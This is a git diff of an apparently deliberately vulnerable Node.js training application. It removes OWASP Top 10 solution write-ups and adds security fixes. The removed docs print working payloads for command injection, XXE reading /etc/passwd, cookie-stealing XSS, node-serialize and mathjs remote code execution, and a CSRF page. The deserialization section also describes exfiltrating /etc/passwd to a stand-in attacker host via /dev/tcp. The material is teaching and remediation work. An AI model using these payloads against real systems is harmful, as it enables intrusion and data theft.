db.User.find({where:{'login':req.body.login}}).then(user => { - if (user) { -... -``` - -But it is recommended to explicitly validate/sanitize inputs - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/dc1f9c54685eb04f55e444370d6d622834e4cc00) - -**Recommendation** - -- Validate Input before processing -- Sanitize Input before storing - -## Command Injection - -There is a Command Injection in `Connectivity Test` feature at the following URL - -http://127.0.0.1:9090/app/ping - - -By injecting `x ; id`, we are able to see that the `id` command has been executed. -![ci1](/resources/ci1.png "Command injection") - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -const exec = require('child_process').exec; -... -exec('ping -c 2 '+ req.body.address, function(err,stdout,stderr){ - console.log(err) - output = stdout + stderr -... -``` -**Solution** - -You may use `exec_file` or `spawn` method under child_process which will prevent arbitrary command execution. - -*core/appHandler.js* -``` -const execFile = require('child_process').execFile; -... -if (vh.vIP(req.body.address)){ - execFile('ping', ['-c', '2', req.body.address] , function(err,stdout,stderr){ - output = stdout + stderr -... -``` - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/4fe36fcfbd615fc9ea340e1238be33dd0d140ef8) - -**Recommendation** - -- Use exec_file or spawn method instead -- Always Validate/Sanitize Input before processing. Look at [validator](https://www.npmjs.com/package/validator) -- Run commands in a sandbox/ isolated environment if possible -- Use a restricted user for running the process - -**Reference** - -- -- -- \ No newline at end of file diff --git a/docs/solution/a10-insufficient-logging.md b/docs/solution/a10-insufficient-logging.md deleted file mode 100644 index b54301c03..000000000 --- a/docs/solution/a10-insufficient-logging.md +++ /dev/null @@ -1,62 +0,0 @@ -# Insufficient Logging and Monitoring - -Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. - -- Auditable events, such as logins, failed logins, and high-value transactions are not logged. -- Warnings and errors generate no, inadequate, or unclear log messages. -- Logs of applications and APIs are not monitored for suspicious activity. -- Logs are only stored locally. -- Appropriate alerting thresholds and response escalation processes are not in place or effective. -- Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts. -- The application is unable to detect, escalate, or alert for active attacks in real time or near real time. - -**Solution** - -All critical functionalities of the application must be logged. We use winston, a logging library to handle our logging. - -Define a default logger - -*server.js* -```js -var winston = require('winston') -... -winston.configure({ - format: winston.format.json(), - transports: [ - new winston.transports.File({ filename: 'combined.log' }) - ] -}); -... -``` - -Log from anywhere - -*core/passport.js* -```js -var winston = requir('winston') -... -if (!isValidPassword(user, password)) { - winston.log({level:'warn',message:'Failed login attempt for ', username}) - return done(null, false, req.flash('danger', 'Invalid Credentials')) -} -... -``` - -**Fixes** - -Implemented in the following files - -- *server.js* -- *core/passport.js* -- *core/authHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/56c5e82c1a000e26ae19afb67b6696d634ceab2e) - -**Recommendation** - -- Log all sensitive operations by default -- Ensure that the logs are stored and processed securely - -**Reference** - -- \ No newline at end of file diff --git a/docs/solution/a2-broken-auth.md b/docs/solution/a2-broken-auth.md deleted file mode 100644 index e650fa0e8..000000000 --- a/docs/solution/a2-broken-auth.md +++ /dev/null @@ -1,83 +0,0 @@ -# Broken Authentication - -## Insecure Reset Password - -The `Reset password` functionality can be triggered by visiting an URL such as below - -http://127.0.0.1:9090/resetpw?login=user&token=ee11cbb19052e40b07aac0ca060c23ee - -The trust establishment in reset password is inherently weak because the _login_ name and _token_ parameter required to execute the password reset is user supplied. Additionally the apparently random key is the MD5 hash of _login_ name which can be easily computed by an attacker. - -This issue can be exploited by an attacker to reset any user's password by using an URL such as below - -``` -http://127.0.0.1:9090/resetpw?login=&token= -``` - -You can obtain the md5sum for `user` by running the following - -```bash -echo -n 'user' | md5sum -``` - -**Solution** - -Store the password reset request along with a randomly generated token string and expiry - -Email a reset link containing that token and username to the user - -Validate the reset token for the user before password reset - -**Fixes** - -Implemented in the following files - -- *core/authHandler.js* -- *models/passreset.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/c8d519e41a752def46d80de699a94a23800df426) - -## Insecure Session Secret - -The session secret is used is insecure and is used in the example snippets across the web - -**Vulnerable Code snippet** - -*server.js* -``` -... -app.use(session({ - secret: 'keyboard cat', - resave: false, -... -``` - -This allows an attacker to -1. Decrypt a user's session -2. Potentially forge the session cookie and bypass authentication - -**Solution** - -Always use unique, long, secure random generated for secrets - -**Fixes** - -Implemented in the following files - -- *server.js* -- *config/server.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/1d01e9af620d88a938a2abdf97306fa20026b927) - -**Recommendation** - -- Do not copy paste code without understanding what it does -- Rotate session secrets -- Store secrets in environment variables or config files -- Consider using a secret management solution if your scale demands it - -**References** - -- -- -- \ No newline at end of file diff --git a/docs/solution/a3-sensitive-data-exposure.md b/docs/solution/a3-sensitive-data-exposure.md deleted file mode 100644 index 23dae2041..000000000 --- a/docs/solution/a3-sensitive-data-exposure.md +++ /dev/null @@ -1,78 +0,0 @@ -# Sensitive Data Exposure - -## Hashed Passwords Disclosed - -![info-dis](/resources/info-dis.png "Password Hash Disclosed") - -The Admin API endpoint at http://127.0.0.1:9090/app/admin/api/users sends the entire user object to the front end. Even if the application/page rendering this may not display the password, it's critical that only necessary information is sent instead of the entire object - -**Vulnerable Code snippet** - -*core/apphandler.js* -``` -... -db.User.findAll({}).then(users => { - res.status(200).json({ - success: true, - users: users - }) -... -``` - - -**Solution** - -This particular error can be fixed by selecting for only the required attributes from the database - -``` -db.User.findAll({attributes: [ 'id' ,'name', 'email']},).then(users => { - res.status(200).json({ - success: true, - users: users - }) -``` - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/7c28c2e007ac48badc604e52621c37bbb8da8fbd) - -## Logging of sensitive information - -![info-dis](/resources/info-dis2.png "Password Hash Disclosed") - -By default, Sequelize logs every query using `console.log`, this could be a serious issue if these logs are stored to disk or worse, sent elsewhere for analytics or other purposes - -**Solution** - -To fix this issue, disable logging in Sequelize - -``` -// Sequelize connection -var sequelize = new Sequelize(config.database, config.username, config.password, { - host: config.host, - dialect: config.dialect, - logging: false -}); -``` - -**Fixes** - -Implemented in the following files - -- *models/index.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/60ed581799f2257e1be2d8a7747014d6b3d123af) - -**Recommendation** - -- Always be wary of where all your data resides or is transmitted to -- Send only the minimum information which is essential, even if may not be used - -**Reference** - -- -- \ No newline at end of file diff --git a/docs/solution/a4-xxe.md b/docs/solution/a4-xxe.md deleted file mode 100644 index 94b703443..000000000 --- a/docs/solution/a4-xxe.md +++ /dev/null @@ -1,65 +0,0 @@ -# XML External Entities - -The `Bulk Import` feature at http://127.0.0.1:9090/app/bulkproducts is vulnerable to XML External Entity attack. - -![xxe1](/resources/xxe1.png) - -This can be easily exploited by supplying an input like the one below - -```xml - -]> - - - Playstation 4 - 274 - gaming console - &bar; - - -``` - -The resulting product's description will have the contents of `/etc/passwd` - -![xxe2](/resources/xxe2.png) - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -... -module.exports.bulkProducts = function(req, res) { - if (req.files.products && req.files.products.mimetype=='text/xml'){ - var products = libxmljs.parseXmlString(req.files.products.data.toString('utf8'), {noent:true,noblanks:true}) -... -``` - -**Solution** - -The XML parsing library used is `libxmljs` which allows for parsing external entities. We can disable parsing of external entities by modifying the flag value `noent` to `false`. - -*core/appHandler.js* -``` -... -module.exports.bulkProducts = function(req, res) { - if (req.files.products && req.files.products.mimetype=='text/xml'){ - var products = libxmljs.parseXmlString(req.files.products.data.toString('utf8'), {noent:false,noblanks:true}) -... -``` - -**Fixes** - -Implemented in the following file - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/15f9dc298ff8e46f0dbeca6b260416c086db2446) - -**Recommendation** - -- Ensure that External entity parsing is disabled -- If parsing is absoutely required, then validate the data before parsing - -**Reference** - -- \ No newline at end of file diff --git a/docs/solution/a5-broken-access-control.md b/docs/solution/a5-broken-access-control.md deleted file mode 100644 index e6256ce71..000000000 --- a/docs/solution/a5-broken-access-control.md +++ /dev/null @@ -1,115 +0,0 @@ -# Broken Access Control - -## Unauthorized Access to Users API - -The issue lies in `List Users` API implementation where the code does not correctly establish identity and capability for the calling user before fulfilling the request. - -**Vulnerable Code snippet** - -*routes/app.js* -``` -... -router.get('/admin',authHandler.isAuthenticated,function(req,res){ - res.render('app/admin',{admin: (req.user.role=='admin')}) -}) - -router.get('/admin/api/users',authHandler.isAuthenticated, appHandler.listUsersAPI) -... -``` - -*views/app/admin.ejs* -``` -... -var isAdmin = false; -if(!isAdmin){ - var div = document.getElementById('admin-body'); - div.style.display = "none"; -}else{ - var div = document.getElementById('non-admin-body'); - div.style.display = "none"; -} -... -``` - -By checking the page source, we are able to see the `List Users API` that isn't visible in the Dashboard. - -![missing-fn-access](/resources/missing-fn-access.png "API Hidden in Front End") - -The API endpoint doesn't check whether the requesting user is an admin. Assuming that an attacker will not be able to access your endpoints because they are hidden is a very bad practice. - -**Solution** - -The `List Users API` route must check the requesting user's privilege before serving the request. - -``` -function adminCheck(req,res,next){ - if(req.user.role=='admin') - next() - else - res.status(401).send('Unauthorized') -} - -router.get('/admin/api/users',authHandler.isAuthenticated, adminCheck, appHandler.listUsersAPI) -``` - -**Fixes** - -Implemented in the following files - -- *core/authHandler.js* -- *routes/app.js* -- *views/app/admin.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/1d10d266567a6b721bd368500838756e1cd7966b) - -## Missing Authorization check in Edit User - -The `userEditSubmit` method fails to validate `id` parameter to ensure that the calling user has appropriate access to the object. This issue can be exploited to reset information for any user identified by id. - -http://127.0.0.1:9090/app/useredit - -**Vulnerable Code snippet** - -*core/apphandler.js* -``` -... -module.exports.userEditSubmit = function(req,res){ - if(req.body.password==req.body.cpassword){ - db.User.find({where:{'id':req.body.id}}).then(user=>{ - if(user){ - user.password = bCrypt.hashSync(req.body.password, bCrypt.genSaltSync(10), null) - user.save().then(function(){ -... -``` - -Simply changing the user id in the page can lead to exploitation.

-![idor1](/resources/idor1.png "IDOR") - -**Solution** - -A simple check can solve this issue -``` -if (req.user.id == req.body.id) - //do -else - //dont -``` - -In our case we can use passports user object at `req.user` for modifying user information - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/edfe31c81e8594ac336b3fd3a558e174af9fe7b3) - -**Recommendation** - -- Try to restrict your functions to maximum extent, White listing is always better than blacklisting -- Consider any user supplied information as untrusted and always validate user access by sessions - -**Reference** - -- diff --git a/docs/solution/a6-securty-misconfig.md b/docs/solution/a6-securty-misconfig.md deleted file mode 100644 index d12d0d3dd..000000000 --- a/docs/solution/a6-securty-misconfig.md +++ /dev/null @@ -1,65 +0,0 @@ -# Security Misconfiguration - -## Application sends Stack Trace - -![secmis1](/resources/secmis1.png "Security Misconfiguration") -An invalid input `XD` triggers a stack trace in the calculator endpoint at - -http://127.0.0.1:9090/app/calc - -The application was running in `DEVELOPMENT` mode and due to lack of error handling, it sent the stack trace with internal file locations and other potentially sensitive information. - -*/core/apphandler.js* -``` -... -if(req.body.eqn){ - req.flash('result',mathjs.eval(req.body.eqn)) - res.render('app/calc') -... -``` - -Additionally the issue occurs due to insecure NodeJS configuration that shows stack staces. - -**Solution** - -This particular issue can be solved by using a try catch exception handling -``` -try{ - result = mathjs.eval(req.body.eqn) -}catch (err){ - result = 'Invalid Equation' -} -``` - -But a bigger issue is the application running in development mode. Set **NODE_ENV** environment variable to `production`, this improves performance too! - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/9b17e5ae55a6bf0ec8ba41c25956c26e6e62badd) - -## X-Powered-By header - -![powered-by](/resources/powered-by.png "X-Powered-By") - -The `X-Powered-By : Express` header is sent by default in every response and disabling this is a good way to prevent attackers from fingerprinting your application. - -**Solution** - -Disable it using `app.disable('x-powered-by')` in express - -**Fixes** - -Implemented in the following files - -- *server.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/e5810006cb91fb22bc6287f2dd67ba7c779d26fa) - -**Reference** -- -- -- \ No newline at end of file diff --git a/docs/solution/a7-xss.md b/docs/solution/a7-xss.md deleted file mode 100644 index 448374b2c..000000000 --- a/docs/solution/a7-xss.md +++ /dev/null @@ -1,125 +0,0 @@ -# Cross-site Scripting - -![xss1](/resources/xss1.png "XSS") -with input *Inconspicuous Pizza<script>alert('Cookie:'+document.cookie)</script>* - -## Reflected XSS in Search Query - -**Note: Chrome XSS Auditor may block XSS Attacks** - -A Cross-site scripting vulnerability exists in the following URL - -http://127.0.0.1:9090/app/products - -**Vulnerable Code snippet** - -*/views/app/products.ejs* -``` -... -<% if (output&&output.searchTerm) { %> -

- Listing products with search query: - <%- output.searchTerm %> -... -``` - -User supplied input is directly rendered as part of HTML response. This issue can be exploited to inject arbitrary scripting code to perform a Cross-site Scripting attack. - -**Solution** - -Ensure user supplied or any other untrusted data is not rendered as part of HTTP response without appropriate encoding. EJS escape output tag can be used to render this securely with appropriate encoding such as below - -``` -<%= output.searchTerm %> -``` -Notice the `=` symbol instead of `-`, which escapes the output. Note that this only prevents xss when the target for escaped output is in a html context. - -**Fixes** - -Implemented in the following files - -- *server.js* -- *views/app/products.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/6acbb14b51df84d4c4986d95f8fa4e3a6d600e35) - -## Stored XSS in Product Listing - -Another XSS vulnerability exists in the same page, however at a different location. By supplying an input such as ``, we can verify the XSS - -**Vulnerable Code snippet** - -*/views/app/products.ejs* -``` -... -<%- output.products[i].id %> -<%- output.products[i].name %> -<%- output.products[i].code %> -<%- output.products[i].tags %> -... -``` - -**Solution** - -Enable output string encoding -``` -... -<%= output.products[i].id %> -<%= output.products[i].name %> -<%= output.products[i].code %> -<%= output.products[i].tags %> -... -``` -Notice the `=` symbol instead of `-`, which escapes the output. Note that this only prevents xss when the target for escaped output is in a html context. - -**Fixes** - -Implemented in the following files - -- *server.js* -- *views/app/products.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/6acbb14b51df84d4c4986d95f8fa4e3a6d600e35) - -## DOM XSS in user listing - -- When registering a user, use the value `` for "Name" -- When any logged in user visits `/app/admin/users`, an XHR GET request is made to `/app/admin/usersapi` to retrieve the details of users on the application. The details retrieved are used to update the page using `innerHTML` and the details are rendered directly thus making the page vulnerable to XSS - -**Vulnerable Code snippet** - -*views/app/adminusers.ejs* - -``` -... -c_id.innerHTML = users[i].id; -c_name.innerHTML = users[i].name; -c_email.innerHTML = users[i].email; -... -``` - -User supplied input is injected into the page as markup using `innerHTML`. This issue can be exploited to inject arbitrary scripting code to perform a Cross-site Scripting attack. - -**Solution** - -``` -... -c_id.textContent = users[i].id; -c_name.textContent = users[i].name; -c_email.textContent = users[i].email; -... -``` -The most fundamental safe way to populate the DOM with untrusted data is to use the safe assignment property, `textContent`. - -**Recommendation** - -- Use Security header `X-XSS-Protection` to prevent reflected XSS attacks -- Limit raw rendering to internal trusted data only. Do not disable output encoding for untrusted data coming from external sources -- Always validate user input and escape them wherever necessary -- Use cookies securely `httpOnly`, `secure` are enabled in `express-cookies`. Refer to [this](https://expressjs.com/en/advanced/best-practice-security.html) -- Use a Content Security policy for your application using a library like [helmet](https://www.npmjs.com/package/helmet) - -**Reference** - -- -- diff --git a/docs/solution/a8-insecure-deserialization.md b/docs/solution/a8-insecure-deserialization.md deleted file mode 100644 index 4007c99f3..000000000 --- a/docs/solution/a8-insecure-deserialization.md +++ /dev/null @@ -1,69 +0,0 @@ -# Insecure Deserialization - -The `Legacy Bulk Import` feature at http://127.0.0.1:9090/app/bulkproducts?legacy=true does not securely deserialize the data thus allowing remote code execution. - -![jse1](/resources/jse1.png) - -To execute code we need to provide a serialized object to the server. The object (as shown below) in this case would be a function that uses the `child_process` library to invoke `bash -c -- \"cat /etc/passwd > /dev/tcp/attacker-ip/nc-port\"`. The function is made into an [Immediately Invoked function Expression (IIFE)](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) by adding `()` to the end of the function - -The following input will trigger the vulnerability - -``` -{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) });}()"} -``` - -which is the serialized version of - -``` -var y = { - rce : function(){ - require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) }); - }(), -} -``` - -![jse2](/resources/jse2.png) - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -... -module.exports.bulkProductsLegacy = function (req,res){ - // TODO: Deprecate this soon - if(req.files.products){ - var products = serialize.unserialize(req.files.products.data.toString('utf8')) -... -``` - -**Solution** - -Since the required feature is to essentially parse a JSON, it can be parsed securely using `JSON.parse` instead. - -*core/appHandler.js* -``` -... -module.exports.bulkProductsLegacy = function (req,res){ - // TODO: Deprecate this soon - if(req.files.products){ - var products = JSON.parse(req.files.products.data.toString('utf8')) -... -``` - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/624a4ee88b3af804271d183f2921448851ddbfff) - -**Recommendation** - -- Use secure and recommended ways to implement application features -- Ensure that potentially vulnerable legacy features are't accessible - -**Reference** - -- -- \ No newline at end of file diff --git a/docs/solution/a9-using-components-with-known-vulnerability.md b/docs/solution/a9-using-components-with-known-vulnerability.md deleted file mode 100644 index df39dc558..000000000 --- a/docs/solution/a9-using-components-with-known-vulnerability.md +++ /dev/null @@ -1,52 +0,0 @@ -# Using Components with Known Vulnerabilities - -## mathjs Remote Code Execution - -The version of mathjs(https://www.npmjs.com/package/mathjs) library used in the application has a remote code execution vulnerability that allows an attacker to run arbitrary code on the server. - -To understand how the exploit works, look at [this](https://capacitorset.github.io/mathjs/) - -The calculator implementation uses `mathjs.eval` to evaluate user input at - -http://127.0.0.1:9090/app/calc - -There is no input validation either, probably because it is going to be a maths equation which will contain symbols - -Malicious input that triggers command execution -``` -cos.constructor("spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c -- diff --git a/docs/solution/ax-csrf.md b/docs/solution/ax-csrf.md deleted file mode 100644 index 75c5a9d3e..000000000 --- a/docs/solution/ax-csrf.md +++ /dev/null @@ -1,47 +0,0 @@ -# Cross-site Request Forgery - -## CSRF in Add/Edit product, User Edit - -The application is vulnerable to a Cross-sites-Request-Forgery in `Product Management` feature. The application fails to implement anti-CSRF token to prevent forced browsing. - -http://127.0.0.1:9090/app/modifyproduct - -http://127.0.0.1:9090/app/useredit - -This issue can be exploited by an attacker by hosting a malicious page like the one below and tricking the victim onto visiting it. The below example will add a new product on behalf of the victim on visiting a crafted URL like `http://youtube.com.xyz.nxd/watch/v=cute-kitten` by the attacker - -*Attacker's Webpage* -```html - - -

- - - - -
- - -``` - -**Solution** - -CSRF vulnerabilities can be fixed by ensuring anti-CSRF tokens are needed for successful form submission. - -This can be done by using a module like [csurf](https://www.npmjs.com/package/csurf), and can save time needed to correctly implement your own logic. - -**Fixes** - -Implemented in the following files - -- *routes/app.js* -- *core/appHandler.js* -- *views/app/modifyproducts.ejs* -- *views/app/useredit.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/2c88ab87f19a9d124c925d33f346ec3897038eea) - -**Reference** - -- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) -- https://github.com/expressjs/csurf \ No newline at end of file diff --git a/docs/solution/ax-unvalidated-redirects-and-forwards.md b/docs/solution/ax-unvalidated-redirects-and-forwards.md deleted file mode 100644 index 56f8625e0..000000000 --- a/docs/solution/ax-unvalidated-redirects-and-forwards.md +++ /dev/null @@ -1,42 +0,0 @@ -# Unvalidated Redirects and Forwards - -The application fails to perform any validation before redirecting user to external URL based on untrusted user supplied data in the `redirect` function accessible at - -http://127.0.0.1:9090/app/redirect?url= - -**Vulnerable Code snippet** - -*/core/apphandler.js* -``` -... -module.exports.redirect = function(req,res){ - if(req.query.url){ - res.redirect(req.query.url) - }else{ - res.send('invalid redirect url') - } -} -... -``` - -An attacker can exploit this vulnerability using an URL such as below: - -``` -http://127.0.0.1:9090/redirect.action?url=http://www.attacker.nxd/phising_page -``` - -**Solution** - -Use an interceptor page which requires user approval before external redirection - -**Fixes** - -Implemented in the following files - -- *views/app/redirect.ejs* -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/0df0980a19778e0cf627cd09b365e3e84023cf75) - -**Reference** -- https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet \ No newline at end of file diff --git a/entrypoint-dev.sh b/entrypoint-dev.sh deleted file mode 100755 index 344425602..000000000 --- a/entrypoint-dev.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -chmod +x /app/wait-for-it.sh - -/bin/bash /app/wait-for-it.sh mysql-db:3306 -t 300 -- bash startup.sh \ No newline at end of file diff --git a/entrypoint.sh b/entrypoint.sh deleted file mode 100755 index de7f55b62..000000000 --- a/entrypoint.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -chmod +x /app/wait-for-it.sh - -/bin/bash /app/wait-for-it.sh $MYSQL_HOST:$MYSQL_PORT -t 300 -- npm start \ No newline at end of file diff --git a/models/index.js b/models/index.js index 68067de3d..00962c148 100644 --- a/models/index.js +++ b/models/index.js @@ -11,7 +11,8 @@ if (process.env.DATABASE_URL) { } else { var sequelize = new Sequelize(config.database, config.username, config.password, { host: config.host, - dialect: config.dialect + dialect: config.dialect, + logging: false }); } diff --git a/models/passreset.js b/models/passreset.js new file mode 100644 index 000000000..ccc263b54 --- /dev/null +++ b/models/passreset.js @@ -0,0 +1,19 @@ +"use strict"; + +module.exports = function (sequelize, DataTypes) { + var Passreset = sequelize.define("Passreset", { + userId: { + type: DataTypes.INTEGER + }, + requestedAt: { + type: DataTypes.DATE + }, + tokenHash: { + type: DataTypes.STRING + }, + used: { + type: DataTypes.BOOLEAN + } + }); + return Passreset; +}; \ No newline at end of file diff --git a/models/product.js b/models/product.js index ef8c1e7e9..ec75619af 100644 --- a/models/product.js +++ b/models/product.js @@ -17,7 +17,7 @@ module.exports = function (sequelize, DataTypes) { allowNull: false }, description: { - type: DataTypes.TEXT, + type: DataTypes.STRING, allowNull: false }, tags: { diff --git a/package.json b/package.json index 7841e55ca..92e53532d 100644 --- a/package.json +++ b/package.json @@ -7,30 +7,27 @@ "doc": "docs" }, "scripts": { - "test": "echo \"Error: no test specified\" && exit 1", - "start": "node server.js" + "test": "echo \"Error: no test specified\" && exit 1" }, "author": "sns", "license": "MIT", "dependencies": { "bcrypt": "^1.0.3", + "crypto-random-string": "^1.0.0", "csurf": "^1.9.0", "ejs": "^2.5.7", "express": "^4.16.2", - "express-fileupload": "^0.4.0", "express-flash": "0.0.2", "express-session": "^1.15.6", "flash": "^1.1.0", - "libxmljs": "^0.19.1", - "mathjs": "3.10.1", + "hash.js": "^1.1.3", + "mathjs": "^3.17.0", "md5": "^2.2.1", "morgan": "^1.9.0", "mysql2": "^1.4.2", - "node-serialize": "0.0.4", "passport": "^0.4.0", "passport-local": "^1.0.0", "sequelize": "^4.13.10", - "winston": "^3.0.0", - "x-xss-protection": "^1.1.0" + "x-xss-protection": "^1.0.0" } } diff --git a/routes/app.js b/routes/app.js index 77832f9e7..c9a57e92a 100644 --- a/routes/app.js +++ b/routes/app.js @@ -1,6 +1,14 @@ var router = require('express').Router() +var csrf = require('csurf') var appHandler = require('../core/appHandler') var authHandler = require('../core/authHandler') +var csrfProtection = csrf() + +function csrfErrorHandler (err, req, res, next){ + if (err.code !== 'EBADCSRFTOKEN') return next(err) + res.status(403) + res.send('csrf token error') +} module.exports = function () { router.get('/', authHandler.isAuthenticated, function (req, res) { @@ -19,15 +27,11 @@ module.exports = function () { }) }) - router.get('/bulkproducts', authHandler.isAuthenticated, function (req, res) { - res.render('app/bulkproducts',{legacy:req.query.legacy}) - }) - router.get('/products', authHandler.isAuthenticated, appHandler.listProducts) - router.get('/modifyproduct', authHandler.isAuthenticated, appHandler.modifyProduct) + router.get('/modifyproduct', authHandler.isAuthenticated, csrfProtection, appHandler.modifyProduct) - router.get('/useredit', authHandler.isAuthenticated, appHandler.userEdit) + router.get('/useredit', authHandler.isAuthenticated, csrfProtection, appHandler.userEdit) router.get('/calc', authHandler.isAuthenticated, function (req, res) { res.render('app/calc',{output:null}) @@ -39,13 +43,15 @@ module.exports = function () { }) }) - router.get('/admin/usersapi', authHandler.isAuthenticated, appHandler.listUsersAPI) + router.get('/admin/usersapi', authHandler.isAuthenticated, authHandler.isAdmin, appHandler.listUsersAPI) - router.get('/admin/users', authHandler.isAuthenticated, function(req, res){ + router.get('/admin/users', authHandler.isAuthenticated, authHandler.isAdmin, function(req, res){ res.render('app/adminusers') }) - router.get('/redirect', appHandler.redirect) + router.get('/redirect', csrfProtection, appHandler.redirect) + + router.post('/redirect', csrfProtection, csrfErrorHandler, appHandler.redirectSubmit) router.post('/usersearch', authHandler.isAuthenticated, appHandler.userSearch) @@ -53,15 +59,11 @@ module.exports = function () { router.post('/products', authHandler.isAuthenticated, appHandler.productSearch) - router.post('/modifyproduct', authHandler.isAuthenticated, appHandler.modifyProductSubmit) + router.post('/modifyproduct', authHandler.isAuthenticated, csrfProtection, csrfErrorHandler, appHandler.modifyProductSubmit) - router.post('/useredit', authHandler.isAuthenticated, appHandler.userEditSubmit) + router.post('/useredit', authHandler.isAuthenticated, csrfProtection, csrfErrorHandler, appHandler.userEditSubmit) router.post('/calc', authHandler.isAuthenticated, appHandler.calc) - router.post('/bulkproducts',authHandler.isAuthenticated, appHandler.bulkProducts); - - router.post('/bulkproductslegacy',authHandler.isAuthenticated, appHandler.bulkProductsLegacy); - return router } diff --git a/routes/main.js b/routes/main.js index b56db4040..91056d79c 100644 --- a/routes/main.js +++ b/routes/main.js @@ -1,6 +1,7 @@ var router = require('express').Router() var vulnDict = require('../config/vulns') var authHandler = require('../core/authHandler') +var vh = require('../core/validationHandler') module.exports = function (passport) { router.get('/', authHandler.isAuthenticated, function (req, res) { @@ -12,25 +13,27 @@ module.exports = function (passport) { }) router.get('/learn/vulnerability/:vuln', authHandler.isAuthenticated, function (req, res) { - res.render('vulnerabilities/layout', { - vuln: req.params.vuln, - vuln_title: vulnDict[req.params.vuln], - vuln_scenario: req.params.vuln + '/scenario', - vuln_description: req.params.vuln + '/description', - vuln_reference: req.params.vuln + '/reference', - vulnerabilities:vulnDict - }, function (err, html) { - if (err) { - console.log(err) - res.status(404).send('404') - } else { - res.send(html) - } - }) + if(vh.vVuln(req.params.vuln)){ + res.render('vulnerabilities/layout', { + vuln: req.params.vuln, + vuln_title: vulnDict[req.params.vuln], + vuln_scenario: req.params.vuln + '/scenario', + vuln_description: req.params.vuln + '/description', + vuln_reference: req.params.vuln + '/reference' + }, function (err, html) { + if (err) { + res.status(404).send('404') + } else { + res.send(html) + } + }) + }else{ + res.end('nice try ;)') + } }) router.get('/learn', authHandler.isAuthenticated, function (req, res) { - res.render('learn',{vulnerabilities:vulnDict}) + res.render('learn') }) router.get('/register', authHandler.isNotAuthenticated, function (req, res) { diff --git a/server.js b/server.js index 18c0e18db..e9d707848 100644 --- a/server.js +++ b/server.js @@ -4,7 +4,7 @@ var passport = require('passport') var session = require('express-session') var ejs = require('ejs') var morgan = require('morgan') -const fileUpload = require('express-fileupload'); +var xssFilter = require('x-xss-protection') var config = require('./config/server') //Initialize Express @@ -14,19 +14,24 @@ app.use(express.static('public')) app.set('view engine','ejs') app.use(morgan('tiny')) app.use(bodyParser.urlencoded({ extended: false })) -app.use(fileUpload()); -// Enable for Reverse proxy support +// Sets X-XSS-Protection Header +app.use(xssFilter()) + +// For Reverse proxy support // app.set('trust proxy', 1) // Intialize Session app.use(session({ - secret: 'keyboard cat', + secret: config.sessionSecret, resave: true, saveUninitialized: true, cookie: { secure: false } })) +// Disable X-Powered-By header +app.disable('x-powered-by') + // Initialize Passport app.use(passport.initialize()) app.use(passport.session()) diff --git a/views/app/admin.ejs b/views/app/admin.ejs index a02724075..4e5b6d409 100644 --- a/views/app/admin.ejs +++ b/views/app/admin.ejs @@ -11,26 +11,19 @@
+
+ <% if(admin) { %> + <% } else { %>
You are not an Admin
+ <% } %> <% include ../common/footer %> - diff --git a/views/app/bulkproducts.ejs b/views/app/bulkproducts.ejs deleted file mode 100644 index 131e94c7a..000000000 --- a/views/app/bulkproducts.ejs +++ /dev/null @@ -1,64 +0,0 @@ - - - - <% include ../common/head %> - - - <% include ../common/navigation %> -
- -

- Bulk Import Products -

- - <% if (messages.success) { %> -
<%=messages.success%>
- <% } else if (messages.danger) { %> -
<%= messages.danger %>
- <% } else if (messages.warning) {%> -
